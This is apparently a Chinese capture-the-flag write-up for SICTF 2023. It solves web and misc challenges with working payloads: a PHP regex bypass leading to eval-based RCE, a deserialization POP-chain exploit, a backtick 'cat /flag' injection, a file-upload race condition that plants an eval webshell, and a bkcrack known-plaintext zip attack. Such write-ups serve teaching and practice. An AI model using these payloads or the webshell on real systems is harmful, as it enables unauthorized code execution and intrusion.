[SICTF 2023] web&misc

文章目录


web

Baby_PHP

涉及知识点

  1. php解析特性
  2. apache换行解析漏洞
  3. 无参RCE

源代码

 <?php
highlight_file(__FILE__);
error_reporting(0);

$query = $_SERVER['QUERY_STRING'];

if (preg_match('/_|%5f|\.|%2E/i', $query)) {
    die('You are Hacker!');
}
if($_GET['k_e_y'] !=='123' && preg_match('/^123$/',$_GET['k_e_y'])){
    echo("You are will Win!<br>");
    if(isset($_POST['command'])){
        $command = $_POST['command'];
        if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){
            eval($command);
        }
        else{
            echo("You are Hacker!");
        }
    }
}
else{
    echo("K_e_y is Errors!");
} 

简单分析一下,我们要GET传参一个值不为123且需要在首行正则匹配到123

我们可以利用php的解析特性遇到空格会被解析成下划线_,传递参数名为k e y

要绕过正则匹配,思路是换行解析漏洞

payload

?k e y=123%0a

然后第一步成功后,就是无参RCE

payload

highlight_file(next(array_reverse(scandir(current(localeconv())))));

得到flag

我全都要

源代码

<?php
highlight_file(__FILE__);

class B{
    public $pop;
    public $i;
    public $nogame;

    public function __destruct()
    {
        if(preg_match("/233333333/",$this->pop)){
            echo "这是一道签到题,不能让新生一直做不出来遭受打击";
        }
    }

    public function game(){
        echo "扣1送地狱火";
        if ($this->i = "1"){
            echo '<img src=\'R.jpg\'>';
            $this->nogame->love();
        }
    }

    public function __clone(){
        echo "必须执行";
        eval($_POST["cmd"]);
    }
}


class A{
    public $Aec;
    public $girl;
    public $boy;

    public function __toString()
    {
        echo "I also want to fall in love";
        if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
            $this->Aec->game();
        }
    }


}


class P{
    public $MyLover;
    public function __call($name, $arguments)
    {
        echo "有对象我会在这打CTF???看我克隆一个对象!";
        if ($name != "game") {
            echo "打游戏去,别想着对象了";
            $this->MyLover = clone new B;
        }
    }

}

if ($_GET["A_B_C"]){
    $poc=$_GET["A_B_C"];
    unserialize($poc);
} 

简单分析一下

第一个点是上传参数要运用到php解析特性

我们只需要上传参数为A B C即可绕过

再来看反序列化,出口是B.__clone(),往前推就到P.__call(),因为会执行克隆从而调用。访问不存在的方法去调用_call()再往前推有两个选择,由于要绕过_call()中的if语句,我们只能是B.game()。调用此方法往前推到A.__toString(),然后往前推是B.__destruct()

pop链子

B.__destruct() --> A.__toString() --> B.game() --> P.__call() --> B.__clone()

exp

<?php
class B{
    public $pop='233333333';
    public $i="1";
    public $nogame;
}

class A{
    public $Aec;
    public $girl='QNKCDZO';
    public $boy='240610708';
}

class P{
    public $MyLover;   
}
$a=new B();
$b=new A();
$c=new P();
$a->pop=$b;
$b->Aec=$a;
$b->Aec->nogame=$c;
echo serialize($a);
?>

得到flag

RCE

源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","hacker",$code);
$code = str_replace(".","hacker",$code);
eval($code);
?>

过滤了括号,那么函数就用不了

这里用反引号绕过,不过注意点是eval函数,把字符串作为PHP代码执行

payload

code=?><?=`cat /flag`;

得到flag

你能跟得上我的speed吗

打开题目,告诉了我们上传文件的路径

我们尝试随便上传个png图片,发现直接被删了
结合题目名字,考点应该是文件上传之条件竞争

这里我们创建1.php,写入

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>

解释:在后台删除我们上传文件的间隙写入shell.php

上传后bp抓包,清除全部payload
设置无限上传,不停发包
开始攻击的同时运行py脚本,用来判断是否访问成功

import requests
url = "http://210.44.151.51:10138/uploads/1.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

我们先开始攻击
然后运行脚本,当出现成功时表示我们成功写入shell.php

然后蚁剑连接得到flag

misc

Pixel_art

打开附件,发现有加密,盲猜伪加密

解压后得到图片

用010大概看一下没啥收获

只好用stegsolve打开看看是不是lsb隐写

这里发现有png文件
我们直接save bin保存一下,修改后缀为.png

得到一张非常小的照片
结合题目提示,应该是要提取像素

脚本

from PIL import Image

image = Image.open('123.png')  # 替换为你的图片文件路径
width, height = image.size
pixel_data = []

for y in range(height):
    for x in range(width):
        pixel = image.getpixel((x, y))
        pixel_data.append(pixel)

print(pixel_data)  

运行结果
这里卡了一下,但是仔细看了下就三个数字不停重复

猜测应该是对应ascii码表

46-. 
33-!
63-?

由这三个构成那么就是Ook解码

贴个完整脚本

from PIL import Image

image = Image.open('123.png')  # 替换为你的图片文件路径
width, height = image.size
pixel_data = []

for y in range(height):
    for x in range(width):
        pixel = image.getpixel((x, y))
        pixel_data.append(pixel)

count = 0
for i in range(len(pixel_data)):
    if(pixel_data[i] == (0,0,0)):
        break
    for j in pixel_data[i]:
        print(chr(j),end = "")

运行结果
丢到在线网站解码

得到flag

攻破这个压缩包!

打开题目,发现是个被加密的压缩包

试了一下不是伪加密,binwalk也没分析出来

那么考虑深入明文攻击

进行深入明文攻击需要至少12个已知字节。而由于已知压缩包内为png文件,也就知道文件头:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

所以,我们至少知道了16个准确的字节,超过了12个字节,已经满足深入明文攻击的条件了,(多的已知字节可以加快速度),接下来就使用工具即可。

bkcrack -C flag.zip -c flag.png -p key.txt -o 0

跑了二十来分钟,出了zip的三段内部密码

直接进行解密即可
得到一张图片

010打开,在最下面找到flag

相关推荐
tekin15 分钟前
macos 中使用macport安装,配置,切换多版本php,使用port 安装php扩展方法总结
开发语言·macos·php·port·mac多版本php安装管理·port-select
巽星石23 分钟前
【Blender Python】7.一些运算、三角函数以及随机
python·blender·三角函数·随机·环形阵列
CSXB9924 分钟前
一、Python(介绍、环境搭建)
开发语言·python·测试工具·集成测试
Mopes__27 分钟前
Python | Leetcode Python题解之第461题汉明距离
python·leetcode·题解
火红的小辣椒33 分钟前
PHP反序列化7(字符串逃逸)
开发语言·web安全·php
EterNity_TiMe_1 小时前
【机器学习】智驭未来:探索机器学习在食品生产中的革新之路
人工智能·python·机器学习·性能优化·学习方法
Mopes__1 小时前
Python | Leetcode Python题解之第452题用最少数量的箭引爆气球
python·leetcode·题解
AI视觉网奇2 小时前
pymeshlab 学习笔记
开发语言·python
纪伊路上盛名在2 小时前
如何初步部署自己的服务器,达到生信分析的及格线
linux·运维·服务器·python·学习·r语言·github
计算机源码社2 小时前
分享一个餐饮连锁店点餐系统 餐馆食材采购系统Java、python、php三个版本(源码、调试、LW、开题、PPT)
java·python·php·毕业设计项目·计算机课程设计·计算机毕业设计源码·计算机毕业设计选题